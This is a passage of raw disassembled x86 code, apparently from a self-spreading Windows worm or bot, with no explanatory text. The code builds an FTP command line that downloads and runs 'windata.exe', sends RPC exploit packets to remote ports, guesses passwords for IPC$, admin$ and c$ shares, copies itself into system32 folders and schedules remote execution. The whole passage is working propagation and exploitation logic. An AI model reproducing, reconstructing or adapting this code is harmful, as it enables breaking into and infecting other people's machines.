jnb short loc_40F657
lea eax, [ebp+18h]
loc_40F657: ; CODE XREF: sub_40F5F6+5Cj
push ecx
push eax
push offset aGetHttp1_0Host ; "GET / HTTP/1.0\r\nHost: %s\r\nAuthorization"...
push esi
push edi
call sub_41E6FE
add esp, 14h
push 0
push esi
push edi
push dword ptr [ebp+8]
call ds:dword_4441A0 ; send
cmp eax, esi
jz short loc_40F67D
xor bl, bl
jmp short loc_40F67F
; ---------------------------------------------------------------------------
loc_40F67D: ; CODE XREF: sub_40F5F6+81j
mov bl, 1
loc_40F67F: ; CODE XREF: sub_40F5F6+85j
push edi
call sub_41E2A1
pop ecx
loc_40F686: ; CODE XREF: sub_40F5F6+47j
push 0
push 1
lea ecx, [ebp-28h]
call sub_40EF65
push 0
push 1
lea ecx, [ebp+14h]
call sub_40EF65
mov ecx, [ebp-0Ch]
pop edi
pop esi
mov al, bl
pop ebx
mov large fs:0, ecx
leave
retn
sub_40F5F6 endp
; =============== S U B R O U T I N E =======================================
sub_40F6AF proc near ; CODE XREF: seg000:0040F7E5p
; sub_4297E3+15p ...
arg_0 = dword ptr 4
push esi
mov esi, ecx
push 0
mov dword ptr [esi+18h], 0Fh
call sub_40EF49
push [esp+4+arg_0]
mov ecx, esi
call sub_40F45D
mov eax, esi
pop esi
retn 4
sub_40F6AF endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 420h
push ebx
push esi
push edi
xor eax, eax
mov byte ptr [ebp-420h], 0
mov ecx, 0FFh
lea edi, [ebp-41Fh]
rep stosd
stosw
push 8Fh
stosb
lea eax, [ebp-420h]
push offset dword_43FA20
push eax
call sub_41F400
add esp, 0Ch
mov eax, offset aWindata_exe ; "windata.exe"
push eax
push eax
movzx eax, word ptr ds:dword_4D1FE4
push eax
push dword ptr [ebp+8]
call sub_4023C9
pop ecx
push eax
push offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d > o&echo user 1 "...
lea eax, [ebp-391h]
push 400h
push eax
call sub_41E6FE
add eax, 90h
push eax
lea eax, [ebp-420h]
push eax
push 164h
lea eax, [ebp-8]
push offset aSvwfbA ; "SVWfì€"
push eax
call sub_40E971
xor esi, esi
add esp, 30h
cmp [ebp-4], esi
jnz short loc_40F76F
xor eax, eax
jmp loc_40F875
; ---------------------------------------------------------------------------
loc_40F76F: ; CODE XREF: seg000:0040F766j
mov [ebp-0Ch], esi
loc_40F772: ; CODE XREF: seg000:0040F850j
test esi, esi
jnz loc_40F856
push 6
push 1
push 2
call ds:dword_42B20C ; socket
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz loc_40F83E
push dword ptr [ebp+0A8h]
xor eax, eax
lea edi, [ebp-1Ah]
stosd
stosd
stosd
stosw
mov word ptr [ebp-1Ch], 2
call ds:dword_444260 ; htons
mov [ebp-1Ah], ax
lea eax, [ebp+0Ch]
push eax
call ds:dword_44417C ; inet_addr
mov [ebp-18h], eax
push 10h
lea eax, [ebp-1Ch]
push eax
push ebx
call ds:dword_4440AC ; connect
cmp eax, 0FFFFFFFFh
jz short loc_40F833
cmp dword ptr [ebp+0A8h], 50h
jnz short loc_40F7FB
sub esp, 1Ch
lea eax, [ebp+0Ch]
mov ecx, esp
mov [ebp-20h], esp
push eax
call sub_40F6AF
push dword ptr [ebp-4]
push dword ptr [ebp-8]
push ebx
call sub_40F5F6
add esp, 28h
jmp short loc_40F830
; ---------------------------------------------------------------------------
loc_40F7FB: ; CODE XREF: seg000:0040F7D7j
cmp dword ptr [ebp+0A8h], 8Bh
jnz short loc_40F815
push dword ptr [ebp-4]
push dword ptr [ebp-8]
push ebx
call sub_40EE6B
jmp short loc_40F82D
; ---------------------------------------------------------------------------
loc_40F815: ; CODE XREF: seg000:0040F805j
cmp dword ptr [ebp+0A8h], 1BDh
jnz short loc_40F833
push dword ptr [ebp-4]
push dword ptr [ebp-8]
push ebx
call sub_40ED91
loc_40F82D: ; CODE XREF: seg000:0040F813j
add esp, 0Ch
loc_40F830: ; CODE XREF: seg000:0040F7F9j
movzx esi, al
loc_40F833: ; CODE XREF: seg000:0040F7CEj
; seg000:0040F81Fj
push ebx
call ds:dword_444218 ; closesocket
test esi, esi
jnz short loc_40F849
loc_40F83E: ; CODE XREF: seg000:0040F78Bj
push 3E8h
call ds:dword_42B014 ; Sleep
loc_40F849: ; CODE XREF: seg000:0040F83Cj
inc dword ptr [ebp-0Ch]
cmp dword ptr [ebp-0Ch], 2
jl loc_40F772
loc_40F856: ; CODE XREF: seg000:0040F774j
lea ecx, [ebp-8]
call sub_40E7A0
test esi, esi
jz short loc_40F873
mov eax, [ebp+0B0h]
shl eax, 6
lea eax, dword_43D888[eax]
inc dword ptr [eax]
loc_40F873: ; CODE XREF: seg000:0040F860j
mov eax, esi
loc_40F875: ; CODE XREF: seg000:0040F76Aj
pop edi
pop esi
pop ebx
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40F87A proc near ; CODE XREF: seg000:0040FC33p
var_24 = byte ptr -24h
var_20 = dword ptr -20h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 24h
push esi
push edi
xor edi, edi
push 20h
lea eax, [ebp+var_24]
push edi
push eax
mov [ebp+var_4], edi
call sub_41E5F0
push offset asc_433148 ; "\\\\"
mov esi, offset dword_4D50D8
push esi
call sub_41EEC0
push [ebp+arg_0]
push esi
call sub_41EED0
push offset asc_433144 ; "\\"
push esi
call sub_41EED0
push offset aAdmin ; "admin$"
push esi
call sub_41EED0
add esp, 2Ch
push edi
push edi
push edi
lea eax, [ebp+var_24]
push eax
mov [ebp+var_10], esi
mov [ebp+var_20], 1
mov [ebp+var_14], edi
mov [ebp+var_8], edi
call ds:dword_4441AC
push ds:dword_4437B0
push [ebp+arg_0]
push ds:dword_4D51D8
call sub_4204DD
add esp, 0Ch
lea eax, [ebp+var_4]
push eax
push 66h
push ds:dword_4D51D8
call ds:dword_4440DC
test eax, eax
mov esi, offset dword_4D51E0
jnz short loc_40F929
mov eax, [ebp+var_4]
push edi
push edi
push 64h
push esi
push 0FFFFFFFFh
push dword ptr [eax+4]
push edi
push edi
call ds:dword_42B090 ; WideCharToMultiByte
loc_40F929: ; CODE XREF: sub_40F87A+98j
cmp [ebp+var_4], edi
jz short loc_40F937
push [ebp+var_4]
call ds:dword_444140
loc_40F937: ; CODE XREF: sub_40F87A+B2j
pop edi
mov eax, esi
pop esi
leave
retn
sub_40F87A endp
; =============== S U B R O U T I N E =======================================
sub_40F93D proc near ; CODE XREF: sub_40F9CE+39p
; sub_40F9CE+79p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, [esp+4+arg_0]
push edi
push esi
xor edi, edi
call sub_41E1C0
test eax, eax
pop ecx
jbe short loc_40F99E
lea edx, [esi+1]
lea esi, [eax-1]
shr esi, 1
inc esi
loc_40F959: ; CODE XREF: sub_40F93D+5Fj
mov al, [edx-1]
cmp al, 30h
jl short loc_40F96C
cmp al, 39h
jg short loc_40F96C
movsx eax, al
sub eax, 30h
jmp short loc_40F972
; ---------------------------------------------------------------------------
loc_40F96C: ; CODE XREF: sub_40F93D+21j
; sub_40F93D+25j
movsx eax, al
sub eax, 57h
loc_40F972: ; CODE XREF: sub_40F93D+2Dj
mov cl, [edx]
shl eax, 4
cmp cl, 30h
jl short loc_40F98A
cmp cl, 39h
jg short loc_40F98A
movsx ecx, cl
lea eax, [eax+ecx-30h]
jmp short loc_40F991
; ---------------------------------------------------------------------------
loc_40F98A: ; CODE XREF: sub_40F93D+3Dj
; sub_40F93D+42j
movsx ecx, cl
lea eax, [eax+ecx-57h]
loc_40F991: ; CODE XREF: sub_40F93D+4Bj
mov ecx, [esp+8+arg_4]
mov [edi+ecx], al
inc edi
inc edx
inc edx
dec esi
jnz short loc_40F959
loc_40F99E: ; CODE XREF: sub_40F93D+11j
mov eax, edi
pop edi
pop esi
retn
sub_40F93D endp
; =============== S U B R O U T I N E =======================================
sub_40F9A3 proc near ; CODE XREF: sub_40F9CE+48p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
push esi
mov edx, eax
xor esi, esi
shr edx, 1
jz short loc_40F9CC
push ebx
push edi
mov edi, [esp+0Ch+arg_0]
lea eax, [edi+eax-1]
loc_40F9BA: ; CODE XREF: sub_40F9A3+25j
mov bl, [esi+edi]
mov cl, [eax]
mov [eax], bl
mov [esi+edi], cl
inc esi
dec eax
cmp esi, edx
jb short loc_40F9BA
pop edi
pop ebx
loc_40F9CC: ; CODE XREF: sub_40F9A3+Bj
pop esi
retn
sub_40F9A3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40F9CE proc near ; CODE XREF: sub_40FA56+69p
; sub_40FA56+89p
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
mov ebx, [ebp+arg_0]
push esi
push edi
xor esi, esi
push ebx
mov [ebp+var_4], esi
mov [ebp+var_8], esi
mov edi, ebx
call sub_41E1C0
mov [ebp+arg_0], esi
cmp eax, esi
mov esi, [ebp+arg_4]
pop ecx
mov [ebp+var_C], eax
jbe short loc_40FA41
loc_40F9F8: ; CODE XREF: sub_40F9CE+71j
mov eax, [ebp+arg_0]
add eax, ebx
cmp byte ptr [eax], 2Dh
jnz short loc_40FA36
push esi
push edi
mov byte ptr [eax], 0
call sub_40F93D
cmp [ebp+var_8], 3
jnb short loc_40FA25
mov edi, eax
push edi
push esi
call sub_40F9A3
add esp, 10h
add esi, edi
add [ebp+var_4], edi
jmp short loc_40FA2C
; ---------------------------------------------------------------------------
loc_40FA25: ; CODE XREF: sub_40F9CE+42j
pop ecx
add esi, eax
add [ebp+var_4], eax
pop ecx
loc_40FA2C: ; CODE XREF: sub_40F9CE+55j
mov eax, [ebp+arg_0]
inc [ebp+var_8]
lea edi, [eax+ebx+1]
loc_40FA36: ; CODE XREF: sub_40F9CE+32j
inc [ebp+arg_0]
mov eax, [ebp+var_C]
cmp [ebp+arg_0], eax
jb short loc_40F9F8
loc_40FA41: ; CODE XREF: sub_40F9CE+28j
push esi
push edi
mov byte ptr [eax+esi], 0
call sub_40F93D
add eax, [ebp+var_4]
pop ecx
pop ecx
pop edi
pop esi
pop ebx
leave
retn
sub_40F9CE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40FA56 proc near ; CODE XREF: seg000:0040FBEEp
var_2C = byte ptr -2Ch
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 2Ch
push ebx
push esi
push edi
push 9
pop ecx
mov esi, offset a8a885d041ceb11 ; "8a885d04-1ceb-11c9-9fe8-08002b104860"
lea edi, [ebp+var_2C]
rep movsd
push 1
push 800h
movsb
call sub_4205E4
pop ecx
pop ecx
push 1
push [ebp+arg_4]
mov esi, eax
call sub_41E1C0
shr eax, 1
inc eax
pop ecx
inc eax
push eax
call sub_4205E4
mov [ebp+var_4], eax
xor eax, eax
mov edi, esi
add esi, 10h
inc eax
xor ebx, ebx
mov word ptr [esi], 16D0h
mov word ptr [esi+2], 16D0h
mov [esi+4], ebx
mov [esi+8], eax
mov [esi+0Ch], bx
mov [esi+0Eh], ax
add esi, 10h
push esi
push [ebp+arg_4]
call sub_40F9CE
add esi, eax
push 2
lea eax, [ebp+arg_8]
push eax
push esi
call sub_41F400
inc esi
inc esi
mov [esi], bl
inc esi
mov [esi], bl
inc esi
lea eax, [ebp+var_2C]
push esi
push eax
call sub_40F9CE
mov ecx, [ebp+arg_C]
push [ebp+var_4]
add esi, eax
mov byte ptr [esi], 2
inc esi
mov [esi], bl
sub esi, edi
inc esi
lea eax, [esi+2]
mov [edi+8], ax
mov eax, [ebp+arg_0]
mov [edi+0Ch], eax
movzx eax, si
inc eax
inc eax
mov byte ptr [edi], 5
mov [edi+1], bl
mov byte ptr [edi+2], 0Bh
mov byte ptr [edi+3], 3
mov dword ptr [edi+4], 10h
mov [edi+0Ah], bx
mov [ecx], eax
call sub_41E2A1
add esp, 28h
mov eax, edi
pop edi
pop esi
pop ebx
leave
retn
sub_40FA56 endp
; =============== S U B R O U T I N E =======================================
sub_40FB31 proc near ; CODE XREF: seg000:0040FC74p
; seg000:00410831p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, [esp+4+arg_4]
push esi
call sub_41E1C0
pop ecx
mov ecx, [esp+4+arg_0]
lea ecx, [ecx+eax*2-1]
jmp short loc_40FB52
; ---------------------------------------------------------------------------
loc_40FB47: ; CODE XREF: sub_40FB31+23j
dec eax
mov byte ptr [ecx], 0
mov dl, [eax+esi]
dec ecx
mov [ecx], dl
dec ecx
loc_40FB52: ; CODE XREF: sub_40FB31+14j
test eax, eax
jnz short loc_40FB47
pop esi
retn
sub_40FB31 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
mov eax, 1044h
call sub_41EA20
push ebx
xor ebx, ebx
cmp ds:dword_4440DC, ebx
push esi
push edi
jz loc_40FC28
push 9
pop ecx
mov esi, offset aFdb3a030065f11 ; "fdb3a030-065f-11d1-bb9b-00a024ea5525"
lea edi, [ebp-44h]
rep movsd
movsb
xor edi, edi
push ebx
inc edi
push edi
push 2
mov [ebp-4], edi
call ds:dword_444100 ; socket
mov esi, eax
cmp esi, ebx
mov [ebp-0Ch], esi
jl loc_40FC28
push dword ptr [ebp+0A8h]
mov word ptr [ebp-1Ch], 2
call ds:dword_444260 ; htons
mov [ebp-1Ah], ax
lea eax, [ebp+0Ch]
push eax
call ds:dword_44417C ; inet_addr
push 8
mov [ebp-18h], eax
lea eax, [ebp-14h]
push ebx
push eax
call sub_41E5F0
add esp, 0Ch
push 10h
lea eax, [ebp-1Ch]
push eax
push esi
call ds:dword_4440AC ; connect
test eax, eax
jl short loc_40FC28
lea eax, [ebp-8]
push eax
push edi
lea eax, [ebp-44h]
push eax
push ebx
call sub_40FA56
add esp, 10h
push ebx
push dword ptr [ebp-8]
mov edi, eax
push edi
push esi
call ds:dword_4441A0 ; send
cmp eax, 0FFFFFFFFh
jz short loc_40FC21
push ebx
push 1000h
lea eax, [ebp-1044h]
push eax
push esi
call ds:dword_42B208 ; recv
test eax, eax
jg short loc_40FC2F
loc_40FC21: ; CODE XREF: seg000:0040FC07j
push edi
call sub_41E2A1
pop ecx
loc_40FC28: ; CODE XREF: seg000:0040FB70j
; seg000:0040FB9Bj ...
xor eax, eax
loc_40FC2A: ; CODE XREF: seg000:0040FDBEj
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_40FC2F: ; CODE XREF: seg000:0040FC1Fj
lea eax, [ebp+0Ch]
push eax
call sub_40F87A
push eax
mov [ebp-8], eax
call sub_41E1C0
test eax, eax
pop ecx
pop ecx
jz short loc_40FC28
mov edi, 104Ch
push edi
call sub_41E5D3
push edi
mov esi, eax
push 90h
push esi
call sub_41E5F0
push 42h
push offset dword_43FAB0
push esi
call sub_41F400
push dword ptr [ebp-8]
lea ebx, [esi+42h]
push ebx
call sub_40FB31
push dword ptr [ebp-8]
call sub_41E1C0
push 14h
lea ebx, [ebx+eax*2]
push offset aPrivate ; "\\PRIVATE$\\"
push ebx
call sub_41F400
push 18h
mov ebx, offset dword_43FB0C
lea eax, [esi+418h]
push ebx
push eax
call sub_41F400
add esp, 40h
push 18h
lea eax, [esi+830h]
push ebx
push eax
call sub_41F400
push 18h
lea eax, [esi+0C48h]
push offset dword_43FB28
push eax
call sub_41F400
push 3Ah
lea ebx, [esi+1B6h]
push offset dword_43FB44
push ebx
call sub_41F400
push 0FFFFh
push 539h
call sub_41B325
mov [ebp-8], eax
add esp, 2Ch
xor eax, 437h
push eax
call ds:dword_444260 ; htons
push 158h
push offset dword_43FB80
add ebx, 3Ah
push ebx
mov ds:word_43FC3A, ax
call sub_41F400
xor ebx, ebx
inc ebx
lea eax, [ebp+0Ch]
push ebx
push eax
mov byte ptr [esi+104Ah], 0
mov byte ptr [esi+104Bh], 0
call sub_41AA0A
add esp, 14h
cmp eax, 2
jnz short loc_40FD41
mov dword ptr [ebp-4], 8
loc_40FD41: ; CODE XREF: seg000:0040FD38j
cmp eax, 3
jnz short loc_40FD64
mov [ebp-4], ebx
jmp short loc_40FD64
; ---------------------------------------------------------------------------
loc_40FD4B: ; CODE XREF: seg000:0040FD68j
dec dword ptr [ebp-4]
push 0
push edi
push esi
push dword ptr [ebp-0Ch]
call ds:dword_4441A0 ; send
cmp eax, 0FFFFFFFFh
jz loc_40FC28
loc_40FD64: ; CODE XREF: seg000:0040FD44j
; seg000:0040FD49j
cmp dword ptr [ebp-4], 0
jnz short loc_40FD4B
push dword ptr [ebp-0Ch]
call ds:dword_444218 ; closesocket
push 1F4h
call ds:dword_42B014 ; Sleep
push esi
call sub_41E2A1
pop ecx
push dword ptr [ebp-8]
lea esi, [ebp+8]
sub esp, 0BCh
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_41B128
add esp, 0C0h
cmp al, 1
jnz loc_40FC28
mov eax, [ebp+0B0h]
shl eax, 6
lea eax, dword_43D888[eax]
inc dword ptr [eax]
mov eax, ebx
jmp loc_40FC2A
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40FDC3 proc near ; CODE XREF: sub_410047+37p
var_6EC = byte ptr -6ECh
var_4E4 = byte ptr -4E4h
var_2E4 = byte ptr -2E4h
var_154 = byte ptr -154h
var_50 = byte ptr -50h
var_4C = dword ptr -4Ch
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_24 = dword ptr -24h
var_20 = byte ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_20 = byte ptr 28h
arg_B4 = dword ptr 0BCh
arg_BC = dword ptr 0C4h
arg_C0 = dword ptr 0C8h
push ebp
mov ebp, esp
sub esp, 6ECh
push esi
push edi
push 20h
xor edi, edi
lea eax, [ebp+var_50]
push edi
push eax
call sub_41E5F0
mov esi, [ebp+arg_8]
add esp, 0Ch
push edi
push [ebp+arg_0]
lea eax, [ebp+var_50]
push [ebp+arg_4]
mov [ebp+var_3C], esi
push eax
mov [ebp+var_4C], 1
mov [ebp+var_40], edi
mov [ebp+var_34], edi
call ds:dword_4441AC
test eax, eax
jz short loc_40FE14
push 0Ah
call ds:dword_42B014 ; Sleep
jmp loc_410034
; ---------------------------------------------------------------------------
loc_40FE14: ; CODE XREF: sub_40FDC3+42j
push ebx
push 190h
lea eax, [ebp+var_2E4]
push eax
push 0FFFFFFFFh
push esi
push edi
push edi
mov [ebp+var_1C], offset aAdminSystem32 ; "Admin$\\system32"
mov [ebp+var_18], offset aCWinntSystem32 ; "c$\\winnt\\system32"
mov [ebp+var_14], offset aCWindowsSystem ; "c$\\windows\\system32"
mov [ebp+var_10], offset aC ; "c"
mov [ebp+var_C], offset aD_0 ; "d"
mov [ebp+var_8], edi
call ds:dword_42B07C ; MultiByteToWideChar
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_2E4]
push eax
call ds:dword_44406C
test eax, eax
jnz loc_410030
cmp [ebp+var_8], edi
jz loc_410030
mov [ebp+var_4], edi
mov esi, offset aWindata_exe ; "windata.exe"
loc_40FE7C: ; CODE XREF: sub_40FDC3+150j
mov eax, [ebp+var_4]
push esi
push [ebp+eax*4+var_1C]
lea eax, [ebp+var_154]
push [ebp+arg_8]
push offset aSSS_2 ; "%s\\%s\\%s"
push eax
call sub_41E6A6
add esp, 14h
push edi
lea eax, [ebp+var_154]
push eax
push esi
call ds:dword_42B048 ; CopyFileA
mov ebx, eax
cmp ebx, edi
jnz short loc_40FF2B
call ds:dword_42B01C ; RtlGetLastWin32Error
cmp eax, 5
jnz short loc_40FF0C
lea eax, [ebp+var_154]
push edi
push eax
call sub_42065F
test eax, eax
pop ecx
pop ecx
jnz short loc_40FF0C
call sub_41ECDE
cdq
push 0Ah
pop ecx
idiv ecx
lea eax, [ebp+var_154]
push eax
mov ebx, edx
add bl, 30h
call sub_41E1C0
pop ecx
lea ecx, [ebp+var_154]
sub ecx, 5
mov [eax+ecx], bl
push edi
lea eax, [ebp+var_154]
push eax
push esi
call ds:dword_42B048 ; CopyFileA
mov ebx, eax
cmp ebx, edi
jnz short loc_40FF2B
loc_40FF0C: ; CODE XREF: sub_40FDC3+F6j
; sub_40FDC3+109j
inc [ebp+var_4]
cmp [ebp+var_4], 5
jb loc_40FE7C
cmp ebx, edi
jnz short loc_40FF2B
push [ebp+var_8]
call ds:dword_444140
jmp loc_410033
; ---------------------------------------------------------------------------
loc_40FF2B: ; CODE XREF: sub_40FDC3+EBj
; sub_40FDC3+147j ...
mov ecx, [ebp+var_8]
mov eax, [ecx]
push 3Ch
xor edx, edx
pop ebx
div ebx
xor edx, edx
push 10h
push edi
sub eax, [ecx+18h]
mov ecx, 5A0h
inc eax
inc eax
div ecx
lea eax, [ebp+var_30]
push eax
mov ebx, edx
call sub_41E5F0
imul ebx, 0EA60h
add esp, 0Ch
push 208h
lea eax, [ebp+var_6EC]
push eax
push 0FFFFFFFFh
push esi
push edi
push edi
mov [ebp+var_30], ebx
call ds:dword_42B07C ; MultiByteToWideChar
lea eax, [ebp+var_6EC]
mov [ebp+var_24], eax
lea eax, [ebp+var_20]
push eax
lea eax, [ebp+var_30]
push eax
lea eax, [ebp+var_2E4]
push eax
call ds:dword_4440A8
test eax, eax
jnz loc_410030
push offset byte_42B633
push [ebp+arg_4]
call sub_41E990
pop ecx
test eax, eax
pop ecx
mov eax, offset aNoPassword ; "(no password)"
jz short loc_40FFB7
mov eax, [ebp+arg_4]
loc_40FFB7: ; CODE XREF: sub_40FDC3+1EFj
push eax
push [ebp+arg_0]
mov eax, [ebp+var_4]
push [ebp+eax*4+var_1C]
mov eax, [ebp+arg_B4]
push [ebp+arg_8]
shl eax, 6
add eax, offset aNetbios ; "NetBios"
push eax
push offset unk_43319C
lea eax, [ebp+var_4E4]
push 200h
push eax
call sub_41E6FE
add esp, 20h
cmp [ebp+arg_C0], edi
jnz short loc_410012
push edi
push [ebp+arg_BC]
lea eax, [ebp+var_4E4]
push eax
lea eax, [ebp+arg_20]
push eax
push [ebp+arg_C]
call sub_40123B
add esp, 14h
loc_410012: ; CODE XREF: sub_40FDC3+230j
lea eax, [ebp+var_4E4]
push eax
call sub_417D70
mov eax, [ebp+arg_B4]
shl eax, 6
lea eax, dword_43D888[eax]
inc dword ptr [eax]
pop ecx
loc_410030: ; CODE XREF: sub_40FDC3+A2j
; sub_40FDC3+ABj ...
xor edi, edi
inc edi
loc_410033: ; CODE XREF: sub_40FDC3+163j
pop ebx
loc_410034: ; CODE XREF: sub_40FDC3+4Cj
push 1
push 1
push [ebp+arg_8]
call ds:dword_4440D8
loc_410041: ; DATA XREF: seg000:00410419o
mov eax, edi
pop edi
pop esi
leave
retn
sub_40FDC3 endp
; =============== S U B R O U T I N E =======================================
sub_410047 proc near ; CODE XREF: seg000:004101DFp
; seg000:00410256p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = byte ptr 0Ch
cmp ds:off_43C270, 0
push ebx
push esi
push edi
jz short loc_4100A3
mov eax, offset off_43C270
mov ebx, eax
loc_41005A: ; CODE XREF: sub_410047+5Aj
sub esp, 0BCh
push 2Fh
pop ecx
mov edi, esp
push [esp+0C8h+arg_4]
lea esi, [esp+0CCh+arg_8]
push dword ptr [eax]
rep movsd
push [esp+0D0h+arg_0]
call sub_40FDC3
add esp, 0C8h
cmp eax, 1
jz short loc_4100A9
push 0C8h
call ds:dword_42B014 ; Sleep
add ebx, 4
cmp dword ptr [ebx], 0
mov eax, ebx
jnz short loc_41005A
loc_4100A3: ; CODE XREF: sub_410047+Aj
xor eax, eax
loc_4100A5: ; CODE XREF: sub_410047+65j
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_4100A9: ; CODE XREF: sub_410047+45j
xor eax, eax
inc eax
jmp short loc_4100A5
sub_410047 endp
; ---------------------------------------------------------------------------
loc_4100AE: ; DATA XREF: seg002:0043D884o
push ebp
mov ebp, esp
sub esp, 62Ch
push ebx
push esi
push edi
lea eax, [ebp+0Ch]
push eax
xor ebx, ebx
lea eax, [ebp-30h]
push offset aS_1 ; "\\\\%s"
push eax
mov [ebp-4], ebx
mov [ebp-14h], ebx
mov [ebp-1Ch], ebx
mov [ebp-18h], ebx
call sub_41E6A6
add esp, 0Ch
push 3E8h
lea eax, [ebp-62Ch]
push eax
push 0FFFFFFFFh
lea eax, [ebp-30h]
push eax
push ebx
push ebx
call ds:dword_42B07C ; MultiByteToWideChar
lea eax, [ebp-30h]
push eax
lea eax, [ebp-118h]
push offset aSIpc_0 ; "%s\\ipc$"
push eax
mov [ebp-40h], ebx
mov [ebp-34h], ebx
mov [ebp-4Ch], ebx
call sub_41E6A6
add esp, 0Ch
lea eax, [ebp-118h]
mov [ebp-3Ch], eax
push ebx
mov eax, offset byte_42B633
push eax
push eax
lea eax, [ebp-50h]
push eax
call ds:dword_4441AC
test eax, eax
jz short loc_41014E
push 1
push ebx
lea eax, [ebp-118h]
push eax
call ds:dword_4440D8
xor eax, eax
jmp loc_410276
; ---------------------------------------------------------------------------
loc_41014E: ; CODE XREF: seg000:00410135j
; seg000:00410216j
lea eax, [ebp-18h]
push eax
lea eax, [ebp-1Ch]
push eax
lea eax, [ebp-14h]
push eax
push 0FFFFFFFFh
lea eax, [ebp-4]
push eax
push 2
push ebx
lea eax, [ebp-62Ch]
push eax
call ds:dword_4440E0
push 1
mov [ebp-0Ch], eax
push ebx
lea eax, [ebp-118h]
push eax
call ds:dword_4440D8
cmp [ebp-0Ch], ebx
jz short loc_410191
cmp dword ptr [ebp-0Ch], 0EAh
jnz short loc_4101FE
loc_410191: ; CODE XREF: seg000:00410186j
mov eax, [ebp-4]
cmp eax, ebx
mov [ebp-10h], eax
jz short loc_41020F
cmp [ebp-14h], ebx
mov [ebp-8], ebx
jbe short loc_4101FE
loc_4101A3: ; CODE XREF: seg000:004101FCj
mov eax, [ebp-10h]
cmp eax, ebx
jz short loc_4101FE
push ebx
push ebx
push 12Ch
lea ecx, [ebp-244h]
push ecx
push 0FFFFFFFFh
push dword ptr [eax]
push ebx
push ebx
call ds:dword_42B090 ; WideCharToMultiByte
sub esp, 0BCh
push 2Fh
pop ecx
mov edi, esp
lea eax, [ebp-30h]
push eax
lea eax, [ebp-244h]
lea esi, [ebp+8]
push eax
rep movsd
call sub_410047
add esp, 0C4h
cmp eax, 1
jz short loc_4101FE
add dword ptr [ebp-10h], 4
inc dword ptr [ebp-8]
mov eax, [ebp-8]
cmp eax, [ebp-14h]
jb short loc_4101A3
loc_4101FE: ; CODE XREF: seg000:0041018Fj
; seg000:004101A1j ...
cmp [ebp-4], ebx
jz short loc_41020F
push dword ptr [ebp-4]
call ds:dword_444140
mov [ebp-4], ebx
loc_41020F: ; CODE XREF: seg000:00410199j
; seg000:00410201j
cmp dword ptr [ebp-0Ch], 0EAh
jz loc_41014E
cmp [ebp-4], ebx
jz short loc_41022A
push dword ptr [ebp-4]
call ds:dword_444140
loc_41022A: ; CODE XREF: seg000:0041021Fj
cmp dword ptr [ebp-0Ch], 5
jnz short loc_410273
cmp ds:off_43C220, ebx
jz short loc_410273
mov eax, offset off_43C220
mov [ebp-8], eax
loc_410240: ; CODE XREF: seg000:00410271j
sub esp, 0BCh
push 2Fh
pop ecx
mov edi, esp
lea esi, [ebp+8]
rep movsd
lea ecx, [ebp-30h]
push ecx
push dword ptr [eax]
call sub_410047
add esp, 0C4h
cmp eax, 1
jz short loc_410273
mov eax, [ebp-8]
add eax, 4
cmp [eax], ebx
mov [ebp-8], eax
jnz short loc_410240
loc_410273: ; CODE XREF: seg000:0041022Ej
; seg000:00410236j ...
xor eax, eax
inc eax
loc_410276: ; CODE XREF: seg000:00410149j
pop edi
pop esi
pop ebx
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41027B proc near ; CODE XREF: seg000:004104B4p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push esi
mov esi, [ebp+arg_4]
lea eax, [esi+esi]
cmp [ebp+arg_C], eax
jnb short loc_41028F
or eax, 0FFFFFFFFh
jmp short loc_4102AE
; ---------------------------------------------------------------------------
loc_41028F: ; CODE XREF: sub_41027B+Dj
xor eax, eax
test esi, esi
jbe short loc_4102AB
mov ecx, [ebp+arg_8]
loc_410298: ; CODE XREF: sub_41027B+2Ej
mov edx, [ebp+arg_0]
mov dl, [eax+edx]
mov [ecx+eax*2], dl
mov byte ptr [ecx+eax*2+1], 0
inc eax
cmp eax, esi
jb short loc_410298
loc_4102AB: ; CODE XREF: sub_41027B+18j
mov eax, [ebp+arg_C]
loc_4102AE: ; CODE XREF: sub_41027B+12j
pop esi
pop ebp
retn
sub_41027B endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
mov eax, 10A8h
call sub_41EA20
push ebx
push esi
push edi
lea eax, [ebp+0Ch]
push 1
push eax
call sub_41AA0A
mov esi, eax
cmp esi, 1
pop ecx
pop ecx
jz loc_4105A2
